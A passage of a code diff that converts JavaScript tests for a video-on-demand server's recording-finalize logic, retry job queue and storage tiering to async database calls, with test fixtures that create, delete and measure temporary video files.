- fs.writeFileSync(file, Buffer.alloc(20000, 4));
- const id = makeVod(file);
- tools.remuxForSeekingDetailed = async () => ({ ok: true, seconds: 1, error: null });
- tools.probeDuration = async () => ({ ok: true, seconds: 1, format: {}, streams: [], error: null });
- await finalize.finalizeVod(id);
- assert.deepStrictEqual([row(id).duration_seconds, row(id).duration_source, row(id).health_status], [1, 'probe', 'needs_review']);
-
- const file2 = path.join(process.env.VOD_PATH, 'corrupt.mp4');
- fs.writeFileSync(file2, Buffer.alloc(20000, 5));
- const id2 = makeVod(file2);
- tools.probeDuration = async () => ({ ok: true, seconds: 42, format: {}, streams: [], error: null });
- tools.remuxForSeekingDetailed = async () => ({ ok: true, seconds: 42, error: null });
- await finalize.finalizeVod(id2, { ffmpegCorrupted: true });
- assert.deepStrictEqual([row(id2).duration_seconds, row(id2).duration_source, row(id2).health_status], [42, 'probe', 'corrupt'],
- 'the corrupt path stores the measurement, not the live estimate');
-
- const file3 = path.join(process.env.VOD_PATH, 'vanishing.mp4');
- fs.writeFileSync(file3, Buffer.alloc(20000, 6));
- const id3 = makeVod(file3);
- tools.probeDuration = async (p) => { if (p === file3) { try { fs.unlinkSync(file3); } catch { /* */ } } return { ok: true, seconds: 300, format: {}, streams: [], error: null }; };
- tools.remuxForSeekingDetailed = async () => ({ ok: true, seconds: 300, error: null });
- await finalize.finalizeVod(id3);
- const v3 = row(id3);
- assert.deepStrictEqual([v3.is_recording, v3.duration_seconds, v3.duration_source, v3.health_status], [0, 0, 'unknown', 'needs_review']);
- assert.ok(JSON.parse(v3.health_issues_json).includes('stat_failed'));
- restore();
- console.log('✅ short, corrupt and stat-failure outcomes never keep the wall-clock estimate');
- }
+ const cols = (await db.all("SELECT column_name AS name FROM information_schema.columns WHERE table_schema = current_schema() AND table_name = 'vods'")).map(c => c.name);
+ assert.ok(cols.includes('duration_source'), 'vods.duration_source exists');
- // ── 5. Real ffmpeg: an orphaned 6 s recording made 2 days ago finalizes to ~6 s (probe) ──
- if (spawnSync('ffmpeg', ['-version']).status !== 0) {
- console.log('real-file finalize check: skipped (ffmpeg not found)');
- } else {
- const file = path.join(process.env.VOD_PATH, 'real.mp4');
- const mk = spawnSync('ffmpeg', ['-v', 'error', '-y', '-f', 'lavfi', '-i', 'testsrc=duration=6:size=160x120:rate=10',
- '-f', 'lavfi', '-i', 'sine=frequency=440:duration=6', '-c:v', 'libx264', '-pix_fmt', 'yuv420p', '-c:a', 'aac', '-shortest',
- '-movflags', '+frag_keyframe+empty_moov+default_base_moof', '-f', 'mp4', file]);
- assert.strictEqual(mk.status, 0, String(mk.stderr));
- const id = makeVod(file, { createdAt: daysAgo(2) });
- await finalize.finalizeVod(id);
- const v = row(id);
- assert.ok(v.duration_seconds >= 5 && v.duration_seconds <= 7, `measured ${v.duration_seconds}s`);
- assert.strictEqual(v.duration_source, 'probe');
- assert.strictEqual(v.health_status, 'ok');
- const packets = await tools.streamCopyDuration(file);
- assert.ok(packets.ok && packets.seconds > 5 && packets.seconds < 7, `stream-copy pass measured ${packets.seconds}`);
- const pr = await tools.probeDuration(path.join(tmp, 'nope.mp4'));
- assert.strictEqual(pr.ok, false, 'an unreadable source is a failed probe, not a zero-length one');
- console.log('✅ a real orphaned recording finalizes to its measured length (probe), and the packet pass agrees');
+ const daysAgo = (d) => new Date(Date.now() - d * 864e5).toISOString().replace('T', ' ').slice(0, 19);
+ async function makeVod(file, { createdAt = daysAgo(2), wallDuration = 99999 } = {}) {
+ const r = await db.run(`INSERT INTO vods (app_id, user_id, title, file_path, is_recording, duration_seconds, created_at, is_public, visibility)
+ VALUES ('live', 7, 'rec', ?, 1, ?, ?, 1, 'public') RETURNING id`, [file, wallDuration, createdAt]);
+ return Number(r.lastInsertRowid);
}
}
-
- db.close();
- fs.rmSync(tmp, { recursive: true, force: true });
- console.log('\n✅ All VOD duration tests passed');
+ const row = async (id) => await db.get('SELECT * FROM vods WHERE id = ?', [id]);
+
+ const realTools = { ...tools };
+ function restore() { Object.assign(tools, realTools); }
+
+ (async () => {
+ // ── 2. Probe failure: 0 + needs_review + hidden; the live wall-clock estimate is not kept ──
+ {
+ const file = path.join(process.env.VOD_PATH, 'garbage.mp4');
+ fs.writeFileSync(file, Buffer.alloc(20000, 7));
+ const id = await makeVod(file);
+ tools.remuxForSeekingDetailed = async () => ({ ok: false, seconds: 0, error: 'ffmpeg remux exited 1' });
+ tools.probeDuration = async () => ({ ok: false, seconds: 0, format: null, streams: [], error: 'unreadable' });
+ tools.streamCopyDuration = async () => ({ ok: false, seconds: 0, error: 'no packets' });
+ await finalize.finalizeVod(id);
+ const v = await row(id);
+ assert.strictEqual(v.duration_seconds, 0, 'probe failure stores 0, not the recorder\'s wall-clock estimate');
+ assert.strictEqual(v.duration_source, 'unknown');
+ assert.strictEqual(v.health_status, 'needs_review');
+ const issues = JSON.parse(v.health_issues_json);
+ assert.ok(issues.includes('probe_failed') && issues.includes('remux_failed'), `issues: ${issues}`);
+ assert.strictEqual(v.is_recording, 0);
+ assert.strictEqual(v.is_public, 0, 'hidden until reviewed');
+ assert.ok(v.quarantined_at);
+
+ // A later finalize that can measure it lifts the quarantine (the vod.finalize retry job does this).
+ tools.probeDuration = async () => ({ ok: true, seconds: 1234.4, format: { format_name: 'mp4' }, streams: [], error: null });
+ await finalize.finalizeVod(id);
+ const w = await row(id);
+ assert.deepStrictEqual([w.duration_seconds, w.duration_source, w.health_status], [1234, 'probe', 'ok']);
+ assert.strictEqual(w.quarantined_at, null, 'quarantine lifted');
+ assert.strictEqual(w.is_public, 1, 'back to the visibility its owner chose');
+ restore();
+ console.log('✅ probe failure: duration 0, duration_source unknown, needs_review, hidden; a later good finalize lifts it');
+ }
+
+ // ── 3. Orphans (no start time) never use now - created_at; a bound applies only with a real start ──
+ {
+ const file = path.join(process.env.VOD_PATH, 'orphan.mp4');
+ fs.writeFileSync(file, Buffer.alloc(20000, 1));
+ const id = await makeVod(file, { createdAt: daysAgo(3) });
+ tools.remuxForSeekingDetailed = async () => ({ ok: true, seconds: 3601.2, error: null });
+ tools.probeDuration = async () => ({ ok: true, seconds: 3600.8, format: {}, streams: [], error: null });
+ await finalize.finalizeVod(id);
+ const v = await row(id);
+ assert.deepStrictEqual([v.duration_seconds, v.duration_source], [3601, 'probe'], 'orphan: the measured length, not 3 days');
+
+ const file2 = path.join(process.env.VOD_PATH, 'inflated.mp4');
+ fs.writeFileSync(file2, Buffer.alloc(20000, 2));
+ const id2 = await makeVod(file2);
+ tools.probeDuration = async () => ({ ok: true, seconds: 50000, format: {}, streams: [], error: null });
+ tools.remuxForSeekingDetailed = async () => ({ ok: true, seconds: 50000, error: null });
+ await finalize.finalizeVod(id2, { startTimeMs: Date.now() - 600 * 1000 });
+ const w = await row(id2);
+ assert.deepStrictEqual([w.duration_seconds, w.duration_source, w.health_status], [0, 'unknown', 'needs_review'],
+ 'longer than the recorder ran: 0 and review, where the old code stored the wall clock');
+ assert.ok(JSON.parse(w.health_issues_json).includes('inflated_duration'));
+
+ const file3 = path.join(process.env.VOD_PATH, 'header.mp4');
+ fs.writeFileSync(file3, Buffer.alloc(20000, 3));
+ const id3 = await makeVod(file3);
+ tools.probeDuration = async () => ({ ok: true, seconds: 90000, format: {}, streams: [], error: null });
+ tools.remuxForSeekingDetailed = async () => ({ ok: true, seconds: 581, error: null });
+ await finalize.finalizeVod(id3, { startTimeMs: Date.now() - 600 * 1000 });
+ assert.deepStrictEqual([(await row(id3)).duration_seconds, (await row(id3)).duration_source, (await row(id3)).health_status], [581, 'remux', 'ok'], 'the packet timeline when the header lies');
+ restore();
+ console.log('✅ orphans are measured, never now - created_at; impossible values need review; a lying header yields to the packets');
+ }
+
+ // ── 4. Short, corrupt and stat-failure paths also drop the wall-clock estimate ──
+ {
+ const file = path.join(process.env.VOD_PATH, 'short.mp4');
+ fs.writeFileSync(file, Buffer.alloc(20000, 4));
+ const id = await makeVod(file);
+ tools.remuxForSeekingDetailed = async () => ({ ok: true, seconds: 1, error: null });
+ tools.probeDuration = async () => ({ ok: true, seconds: 1, format: {}, streams: [], error: null });
+ await finalize.finalizeVod(id);
+ assert.deepStrictEqual([(await row(id)).duration_seconds, (await row(id)).duration_source, (await row(id)).health_status], [1, 'probe', 'needs_review']);
+
+ const file2 = path.join(process.env.VOD_PATH, 'corrupt.mp4');
+ fs.writeFileSync(file2, Buffer.alloc(20000, 5));
+ const id2 = await makeVod(file2);
+ tools.probeDuration = async () => ({ ok: true, seconds: 42, format: {}, streams: [], error: null });
+ tools.remuxForSeekingDetailed = async () => ({ ok: true, seconds: 42, error: null });
+ await finalize.finalizeVod(id2, { ffmpegCorrupted: true });
+ assert.deepStrictEqual([(await row(id2)).duration_seconds, (await row(id2)).duration_source, (await row(id2)).health_status], [42, 'probe', 'corrupt'],
+ 'the corrupt path stores the measurement, not the live estimate');
+
+ const file3 = path.join(process.env.VOD_PATH, 'vanishing.mp4');
+ fs.writeFileSync(file3, Buffer.alloc(20000, 6));
+ const id3 = await makeVod(file3);
+ tools.probeDuration = async (p) => { if (p === file3) { try { fs.unlinkSync(file3); } catch { /* */ } } return { ok: true, seconds: 300, format: {}, streams: [], error: null }; };
+ tools.remuxForSeekingDetailed = async () => ({ ok: true, seconds: 300, error: null });
+ await finalize.finalizeVod(id3);
+ const v3 = await row(id3);
+ assert.deepStrictEqual([v3.is_recording, v3.duration_seconds, v3.duration_source, v3.health_status], [0, 0, 'unknown', 'needs_review']);
+ assert.ok(JSON.parse(v3.health_issues_json).includes('stat_failed'));
+ restore();
+ console.log('✅ short, corrupt and stat-failure outcomes never keep the wall-clock estimate');
+ }
+
+ // ── 5. Real ffmpeg: an orphaned 6 s recording made 2 days ago finalizes to ~6 s (probe) ──
+ if (spawnSync('ffmpeg', ['-version']).status !== 0) {
+ console.log('real-file finalize check: skipped (ffmpeg not found)');
+ } else {
+ const file = path.join(process.env.VOD_PATH, 'real.mp4');
+ const mk = spawnSync('ffmpeg', ['-v', 'error', '-y', '-f', 'lavfi', '-i', 'testsrc=duration=6:size=160x120:rate=10',
+ '-f', 'lavfi', '-i', 'sine=frequency=440:duration=6', '-c:v', 'libx264', '-pix_fmt', 'yuv420p', '-c:a', 'aac', '-shortest',
+ '-movflags', '+frag_keyframe+empty_moov+default_base_moof', '-f', 'mp4', file]);
+ assert.strictEqual(mk.status, 0, String(mk.stderr));
+ const id = await makeVod(file, { createdAt: daysAgo(2) });
+ await finalize.finalizeVod(id);
+ const v = await row(id);
+ assert.ok(v.duration_seconds >= 5 && v.duration_seconds <= 7, `measured ${v.duration_seconds}s`);
+ assert.strictEqual(v.duration_source, 'probe');
+ assert.strictEqual(v.health_status, 'ok');
+ const packets = await tools.streamCopyDuration(file);
+ assert.ok(packets.ok && packets.seconds > 5 && packets.seconds < 7, `stream-copy pass measured ${packets.seconds}`);
+ const pr = await tools.probeDuration(path.join(tmp, 'nope.mp4'));
+ assert.strictEqual(pr.ok, false, 'an unreadable source is a failed probe, not a zero-length one');
+ console.log('✅ a real orphaned recording finalizes to its measured length (probe), and the packet pass agrees');
+ }
+
+ await db.close();
+ fs.rmSync(tmp, { recursive: true, force: true });
+ console.log('\n✅ All VOD duration tests passed');
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -9,148 +9,150 @@ const fs = require('fs');
@@ -9,148 +9,150 @@ const fs = require('fs');
const os = require('os');
const os = require('os');
const path = require('path');
const path = require('path');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-finalize-job-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-process.env.DB_PATH = path.join(tmp, 'media.db');
-process.env.VOD_PATH = dir('vods');
-process.env.CLIPS_PATH = dir('clips');
-process.env.THUMBNAILS_PATH = dir('thumbnails');
-process.env.FILES_PATH = dir('files');
-process.env.PASTES_PATH = dir('pastes');
-process.env.OBJECTS_PATH = dir('objects');
-process.env.MEDIA_INVARIANT_SCAN_HOURS = '0';
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-finalize-job-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ process.env.DB_PATH = path.join(tmp, 'media.db');
+ process.env.VOD_PATH = dir('vods');
+ process.env.CLIPS_PATH = dir('clips');
+ process.env.THUMBNAILS_PATH = dir('thumbnails');
+ process.env.FILES_PATH = dir('files');
+ process.env.PASTES_PATH = dir('pastes');
+ process.env.OBJECTS_PATH = dir('objects');
+ process.env.MEDIA_INVARIANT_SCAN_HOURS = '0';
-const db = require('../server/db/database');
-const queue = require('../server/jobs/queue');
-const worker = require('../server/jobs/worker');
-const job = require('../server/jobs/vod-finalize');
-const tools = require('../server/vod/media-tools');
-const recorder = require('../server/vod/recorder');
-const vodRoutes = require('../server/vod/routes');
+ const db = require('../server/db/database');
+ const queue = require('../server/jobs/queue');
+ const worker = require('../server/jobs/worker');
+ const job = require('../server/jobs/vod-finalize');
+ const tools = require('../server/vod/media-tools');
+ const recorder = require('../server/vod/recorder');
+ const vodRoutes = require('../server/vod/routes');
-db.upsertApp({ app_id: 'live', api_key: 'live-key' });
-db.upsertApp({ app_id: 'games', api_key: 'games-key' });
+ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });
+ await db.upsertApp({ app_id: 'games', api_key: 'games-key' });
-const realTools = { ...tools };
-const restore = () => Object.assign(tools, realTools);
-const measurable = (s = 1800) => {
- tools.remuxForSeekingDetailed = async () => ({ ok: true, seconds: s, error: null });
- tools.probeDuration = async () => ({ ok: true, seconds: s, format: {}, streams: [], error: null });
-};
-const unmeasurable = () => {
- tools.remuxForSeekingDetailed = async () => ({ ok: false, seconds: 0, error: 'ffmpeg remux exited 1' });
- tools.probeDuration = async () => ({ ok: false, seconds: 0, format: null, streams: [], error: 'unreadable' });
- tools.streamCopyDuration = async () => ({ ok: false, seconds: 0, error: 'no packets' });
-};
+ const realTools = { ...tools };
+ const restore = () => Object.assign(tools, realTools);
+ const measurable = (s = 1800) => {
+ tools.remuxForSeekingDetailed = async () => ({ ok: true, seconds: s, error: null });
+ tools.probeDuration = async () => ({ ok: true, seconds: s, format: {}, streams: [], error: null });
+ };
+ const unmeasurable = () => {
+ tools.remuxForSeekingDetailed = async () => ({ ok: false, seconds: 0, error: 'ffmpeg remux exited 1' });
+ tools.probeDuration = async () => ({ ok: false, seconds: 0, format: null, streams: [], error: 'unreadable' });
+ tools.streamCopyDuration = async () => ({ ok: false, seconds: 0, error: 'no packets' });
+ };
-function makeVod(name, { idleS = 3600, app = 'live' } = {}) {
- const file = path.join(process.env.VOD_PATH, name);
- fs.writeFileSync(file, Buffer.alloc(30000, 9));
- const t = (Date.now() - idleS * 1000) / 1000;
- fs.utimesSync(file, t, t);
- const r = db.run(`INSERT INTO vods (app_id, user_id, title, file_path, is_recording, duration_seconds, is_public, visibility, created_at)
- VALUES (?, 1, 'rec', ?, 1, 77777, 1, 'public', datetime('now', '-2 days'))`, [app, file]);
- return Number(r.lastInsertRowid);
-}
-const vod = (id) => db.get('SELECT * FROM vods WHERE id = ?', [id]);
-const jobsFor = (id) => db.all("SELECT * FROM media_jobs WHERE job_type = 'vod.finalize' AND json_extract(params, '$.vod_id') = ? ORDER BY id", [id]);
+ async function makeVod(name, { idleS = 3600, app = 'live' } = {}) {
+ const file = path.join(process.env.VOD_PATH, name);
+ fs.writeFileSync(file, Buffer.alloc(30000, 9));
+ const t = (Date.now() - idleS * 1000) / 1000;
+ fs.utimesSync(file, t, t);
+ const r = await db.run(`INSERT INTO vods (app_id, user_id, title, file_path, is_recording, duration_seconds, is_public, visibility, created_at)
+ VALUES (?, 1, 'rec', ?, 1, 77777, 1, 'public', datetime('now', '-2 days')) RETURNING id`, [app, file]);
+ return Number(r.lastInsertRowid);
+ }
+ const vod = async (id) => await db.get('SELECT * FROM vods WHERE id = ?', [id]);
+ const jobsFor = async (id) => await db.all("SELECT * FROM media_jobs WHERE job_type = 'vod.finalize' AND json_extract(params, '$.vod_id') = ? ORDER BY id", [id]);
-(async () => {
- assert.ok(queue.typeNames().includes('vod.finalize'));
- assert.strictEqual(queue.typeSpec('vod.finalize').lane, 'finalize');
+ (async () => {
+ assert.ok(queue.typeNames().includes('vod.finalize'));
+ assert.strictEqual(queue.typeSpec('vod.finalize').lane, 'finalize');
- // ── 1. The orphan sweep: idle orphans only; live recordings, chunk uploads and fresh files are left alone ──
- const idle = makeVod('idle.mp4');
- const fresh = makeVod('fresh.mp4', { idleS: 10 });
- const live = makeVod('live.mp4');
- const chunked = makeVod('chunked.webm');
- recorder.activeRecordings.set(live, { vodId: live });
- vodRoutes.activeChunkUploads.set(chunked, { filePath: 'x' });
- assert.deepStrictEqual(job.orphans(), [idle], 'only the idle orphan');
- assert.strictEqual(job.sweepOrphans({ force: true }), 1);
- assert.strictEqual(job.sweepOrphans({ force: true }), 0, 'a queued finalize is joined, not repeated');
- const [j1] = jobsFor(idle);
- assert.strictEqual(j1.created_by, 'system:vod.finalize:orphan');
- assert.strictEqual(j1.app_id, 'live');
- assert.ok(job.orphans({ grace: 1000 }).includes(fresh), 'a file idle past the grace is an orphan');
- console.log('✅ orphan sweep: idle recordings nothing holds are queued once; live, chunk-upload and fresh ones are not');
+ // ── 1. The orphan sweep: idle orphans only; live recordings, chunk uploads and fresh files are left alone ──
+ const idle = await makeVod('idle.mp4');
+ const fresh = await makeVod('fresh.mp4', { idleS: 10 });
+ const live = await makeVod('live.mp4');
+ const chunked = await makeVod('chunked.webm');
+ recorder.activeRecordings.set(live, { vodId: live });
+ vodRoutes.activeChunkUploads.set(chunked, { filePath: 'x' });
+ assert.deepStrictEqual(await job.orphans(), [idle], 'only the idle orphan');
+ assert.strictEqual(await job.sweepOrphans({ force: true }), 1);
+ assert.strictEqual(await job.sweepOrphans({ force: true }), 0, 'a queued finalize is joined, not repeated');
+ const [j1] = await jobsFor(idle);
+ assert.strictEqual(j1.created_by, 'system:vod.finalize:orphan');
+ assert.strictEqual(j1.app_id, 'live');
+ assert.ok((await job.orphans({ grace: 1000 })).includes(fresh), 'a file idle past the grace is an orphan');
+ console.log('✅ orphan sweep: idle recordings nothing holds are queued once; live, chunk-upload and fresh ones are not');
- // ── 2. Running it finalizes from the measured file ──
- measurable(1800.2);
- const done = await worker.runNow(j1.id);
- assert.strictEqual(done.status, 'succeeded');
- const res = JSON.parse(done.result);
- assert.deepStrictEqual([res.outcome, res.duration_seconds, res.duration_source], ['ready', 1800, 'probe']);
- assert.deepStrictEqual([vod(idle).is_recording, vod(idle).duration_seconds, vod(idle).health_status], [0, 1800, 'ok']);
- console.log('✅ vod.finalize settles an orphan to its measured duration');
+ // ── 2. Running it finalizes from the measured file ──
+ measurable(1800.2);
+ const done = await worker.runNow(j1.id);
+ assert.strictEqual(done.status, 'succeeded');
+ const res = JSON.parse(done.result);
+ assert.deepStrictEqual([res.outcome, res.duration_seconds, res.duration_source], ['ready', 1800, 'probe']);
+ assert.deepStrictEqual([(await vod(idle)).is_recording, (await vod(idle)).duration_seconds, (await vod(idle)).health_status], [0, 1800, 'ok']);
+ console.log('✅ vod.finalize settles an orphan to its measured duration');
- // ── 3. A finalize that cannot measure queues a retry (5 min out); the job retries with backoff ──
- unmeasurable();
- const bad = makeVod('bad.mp4');
- await require('../server/vod/finalize').finalizeVod(bad);
- assert.strictEqual(vod(bad).health_status, 'needs_review');
- let js = jobsFor(bad);
- assert.strictEqual(js.length, 1, 'one retry queued');
- assert.strictEqual(js[0].created_by, 'system:vod.finalize:probe_failed');
- const due = db.get("SELECT (julianday(run_after) - julianday('now')) * 86400 AS s FROM media_jobs WHERE id = ?", [js[0].id]).s;
- assert.ok(due > 250 && due <= 301, `first retry in ~5 minutes (${due})`);
- let r = await worker.runNow(js[0].id);
- assert.strictEqual(r.status, 'queued', 'still unmeasurable: back in the queue');
- assert.strictEqual(r.error_code, 'unmeasurable');
- assert.strictEqual(r.attempts, 1);
- assert.strictEqual(jobsFor(bad).length, 1, 'the job does not queue more of itself');
- const wait = db.get("SELECT (julianday(run_after) - julianday('now')) * 86400 AS s FROM media_jobs WHERE id = ?", [r.id]).s;
- assert.ok(wait > 250 && wait <= 301, `backoff after attempt 1 is 5 minutes (${wait})`);
- assert.deepStrictEqual([job.backoffS(1), job.backoffS(2), job.backoffS(3), job.backoffS(6)], [300, 900, 2700, 21600]);
- measurable(610);
- r = await worker.runNow(r.id);
- assert.strictEqual(r.status, 'succeeded');
- const v = vod(bad);
- assert.deepStrictEqual([v.duration_seconds, v.health_status, v.is_public, v.quarantined_at], [610, 'ok', 1, null], 'measured, un-quarantined');
- console.log('✅ unmeasurable finalize → retry job (5 min), retried with backoff, settles once the file measures');
+ // ── 3. A finalize that cannot measure queues a retry (5 min out); the job retries with backoff ──
+ unmeasurable();
+ const bad = await makeVod('bad.mp4');
+ await require('../server/vod/finalize').finalizeVod(bad);
+ assert.strictEqual((await vod(bad)).health_status, 'needs_review');
+ let js = await jobsFor(bad);
+ assert.strictEqual(js.length, 1, 'one retry queued');
+ assert.strictEqual(js[0].created_by, 'system:vod.finalize:probe_failed');
+ const due = (await db.get("SELECT (julianday(run_after) - julianday('now')) * 86400 AS s FROM media_jobs WHERE id = ?", [js[0].id])).s;
+ assert.ok(due > 250 && due <= 301, `first retry in ~5 minutes (${due})`);
+ let r = await worker.runNow(js[0].id);
+ assert.strictEqual(r.status, 'queued', 'still unmeasurable: back in the queue');
+ assert.strictEqual(r.error_code, 'unmeasurable');
+ assert.strictEqual(r.attempts, 1);
+ assert.strictEqual((await jobsFor(bad)).length, 1, 'the job does not queue more of itself');
+ const wait = (await db.get("SELECT (julianday(run_after) - julianday('now')) * 86400 AS s FROM media_jobs WHERE id = ?", [r.id])).s;
+ assert.ok(wait > 250 && wait <= 301, `backoff after attempt 1 is 5 minutes (${wait})`);
+ assert.deepStrictEqual([job.backoffS(1), job.backoffS(2), job.backoffS(3), job.backoffS(6)], [300, 900, 2700, 21600]);
+ measurable(610);
+ r = await worker.runNow(r.id);
+ assert.strictEqual(r.status, 'succeeded');
+ const v = await vod(bad);
+ assert.deepStrictEqual([v.duration_seconds, v.health_status, v.is_public, v.quarantined_at], [610, 'ok', 1, null], 'measured, un-quarantined');
+ console.log('✅ unmeasurable finalize → retry job (5 min), retried with backoff, settles once the file measures');
- // ── 4. Stat failure and a thrown finalize queue a retry too (not just is_recording = 0) ──
- const gone = makeVod('gone.mp4');
- tools.probeDuration = async (p) => { if (p.endsWith('gone.mp4')) { try { fs.unlinkSync(p); } catch { /* */ } } return { ok: true, seconds: 300, format: {}, streams: [], error: null }; };
- await require('../server/vod/finalize').finalizeVod(gone);
- assert.deepStrictEqual(jobsFor(gone).map(j => j.created_by), ['system:vod.finalize:stat_failed']);
- const thrower = makeVod('thrower.mp4');
- tools.remuxForSeekingDetailed = async () => { throw new Error('boom'); };
- await assert.rejects(require('../server/vod/finalize').finalizeVod(thrower), /boom/);
- assert.deepStrictEqual(jobsFor(thrower).map(j => j.created_by), ['system:vod.finalize:finalize_failed']);
- assert.strictEqual(vod(thrower).is_recording, 1, 'still unsettled, and the job knows it');
- measurable(95);
- const tr = await worker.runNow(jobsFor(thrower)[0].id);
- assert.strictEqual(tr.status, 'succeeded');
- assert.strictEqual(vod(thrower).duration_seconds, 95);
- console.log('✅ a stat failure or a thrown finalize queues vod.finalize, which settles it later');
+ // ── 4. Stat failure and a thrown finalize queue a retry too (not just is_recording = 0) ──
+ const gone = await makeVod('gone.mp4');
+ tools.probeDuration = async (p) => { if (p.endsWith('gone.mp4')) { try { fs.unlinkSync(p); } catch { /* */ } } return { ok: true, seconds: 300, format: {}, streams: [], error: null }; };
+ await require('../server/vod/finalize').finalizeVod(gone);
+ assert.deepStrictEqual((await jobsFor(gone)).map(j => j.created_by), ['system:vod.finalize:stat_failed']);
+ const thrower = await makeVod('thrower.mp4');
+ tools.remuxForSeekingDetailed = async () => { throw new Error('boom'); };
+ await assert.rejects(require('../server/vod/finalize').finalizeVod(thrower), /boom/);
+ assert.deepStrictEqual((await jobsFor(thrower)).map(j => j.created_by), ['system:vod.finalize:finalize_failed']);
+ assert.strictEqual((await vod(thrower)).is_recording, 1, 'still unsettled, and the job knows it');
+ measurable(95);
+ const tr = await worker.runNow((await jobsFor(thrower))[0].id);
+ assert.strictEqual(tr.status, 'succeeded');
+ assert.strictEqual((await vod(thrower)).duration_seconds, 95);
+ console.log('✅ a stat failure or a thrown finalize queues vod.finalize, which settles it later');
- // ── 5. Never touches a live recording; out of attempts the VOD waits for a person ──
- const jl = queue.enqueue({ appId: 'live', type: 'vod.finalize', params: { vod_id: live }, createdBy: 'test' }).job;
- const lr = await worker.runNow(jl.id);
- assert.strictEqual(JSON.parse(lr.result).outcome, 'skipped');
- assert.strictEqual(vod(live).is_recording, 1, 'the recording keeps going');
- recorder.activeRecordings.delete(live);
- vodRoutes.activeChunkUploads.delete(chunked);
+ // ── 5. Never touches a live recording; out of attempts the VOD waits for a person ──
+ const jl = (await queue.enqueue({ appId: 'live', type: 'vod.finalize', params: { vod_id: live }, createdBy: 'test' })).job;
+ const lr = await worker.runNow(jl.id);
+ assert.strictEqual(JSON.parse(lr.result).outcome, 'skipped');
+ assert.strictEqual((await vod(live)).is_recording, 1, 'the recording keeps going');
+ recorder.activeRecordings.delete(live);
+ vodRoutes.activeChunkUploads.delete(chunked);
- unmeasurable();
- const last = makeVod('last.mp4');
- const jlast = queue.enqueue({ appId: 'live', type: 'vod.finalize', params: { vod_id: last }, createdBy: 'test', maxAttempts: 1 }).job;
- const out = await worker.runNow(jlast.id);
- assert.deepStrictEqual([out.status, out.error_code], ['failed', 'unmeasurable']);
- assert.deepStrictEqual([vod(last).is_recording, vod(last).duration_seconds, vod(last).health_status, vod(last).is_public], [0, 0, 'needs_review', 0]);
- restore();
- console.log('✅ a live recording is never finalized by the job; out of attempts the VOD stays needs_review, hidden');
+ unmeasurable();
+ const last = await makeVod('last.mp4');
+ const jlast = (await queue.enqueue({ appId: 'live', type: 'vod.finalize', params: { vod_id: last }, createdBy: 'test', maxAttempts: 1 })).job;
+ const out = await worker.runNow(jlast.id);
+ assert.deepStrictEqual([out.status, out.error_code], ['failed', 'unmeasurable']);
+ assert.deepStrictEqual([(await vod(last)).is_recording, (await vod(last)).duration_seconds, (await vod(last)).health_status, (await vod(last)).is_public], [0, 0, 'needs_review', 0]);
+ restore();
+ console.log('✅ a live recording is never finalized by the job; out of attempts the VOD stays needs_review, hidden');
- // ── 6. API validation: the VOD must be the tenant's ──
- const gv = makeVod('games.mp4', { app: 'games' });
- assert.throws(() => job.spec.validate({ appId: 'live', obj: null, params: { vod_id: gv } }), (e) => e.code === 'media.job.not_found');
- assert.deepStrictEqual(job.spec.validate({ appId: 'games', obj: null, params: { vod_id: gv } }), { vod_id: gv });
- assert.throws(() => job.spec.validate({ appId: 'games', obj: null, params: {} }), (e) => e.code === 'media.job.invalid');
- console.log('✅ vod.finalize through the jobs API is scoped to the tenant\'s own VODs');
+ // ── 6. API validation: the VOD must be the tenant's ──
+ const gv = await makeVod('games.mp4', { app: 'games' });
+ await assert.rejects(async () => await job.spec.validate({ appId: 'live', obj: null, params: { vod_id: gv } }), (e) => e.code === 'media.job.not_found');
+ assert.deepStrictEqual(await job.spec.validate({ appId: 'games', obj: null, params: { vod_id: gv } }), { vod_id: gv });
+ await assert.rejects(async () => await job.spec.validate({ appId: 'games', obj: null, params: {} }), (e) => e.code === 'media.job.invalid');
+ console.log('✅ vod.finalize through the jobs API is scoped to the tenant\'s own VODs');
- db.close();
- fs.rmSync(tmp, { recursive: true, force: true });
- console.log('\n✅ All vod.finalize job tests passed');
- process.exit(0);
+ await db.close();
+ fs.rmSync(tmp, { recursive: true, force: true });
+ console.log('\n✅ All vod.finalize job tests passed');
+ process.exit(0);
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -9,69 +9,74 @@
@@ -9,69 +9,74 @@
// selection, the free-space budget, the re-run cadence, and the upload deadline.
// selection, the free-space budget, the re-run cadence, and the upload deadline.
const assert = require('assert');
const assert = require('assert');
-const Database = require('better-sqlite3');
-process.env.MEDIA_B2_ENDPOINT = process.env.MEDIA_B2_ENDPOINT || '';
-const storage = require('../server/vod/vod-storage');
-const { DEFAULTS, OFFLOADABLE_WHERE, needsDrain, drainSatisfied, isCritical, planNextDelayMs, uploadTimeoutMs } = storage;
+(async () => {
+ process.env.MEDIA_B2_ENDPOINT = process.env.MEDIA_B2_ENDPOINT || '';
+ const storage = require('../server/vod/vod-storage');
+ // The revisioned tier policies load once the database is open (server/index.js does this at boot).
+ await storage.tierConfig.init(storage.DEFAULTS);
+ await require('../server/objects/tier-policy').init();
+ const { DEFAULTS, OFFLOADABLE_WHERE, needsDrain, drainSatisfied, isCritical, planNextDelayMs, uploadTimeoutMs } = storage;
-const GB = 1024 * 1024 * 1024;
-const disk = (usePct, freeGb, totalGb = 96) => ({ total: totalGb * GB, used: (totalGb - freeGb) * GB, available: freeGb * GB, usePct, mount: '/' });
+ const GB = 1024 * 1024 * 1024;
+ const disk = (usePct, freeGb, totalGb = 96) => ({ total: totalGb * GB, used: (totalGb - freeGb) * GB, available: freeGb * GB, usePct, mount: '/' });
-// ── Candidate selection: only rows with a real, non-quarantined local file ──
-const db = new Database(':memory:');
-db.exec(`CREATE TABLE vods (
- id INTEGER PRIMARY KEY, file_path TEXT, file_size INTEGER, storage_provider TEXT,
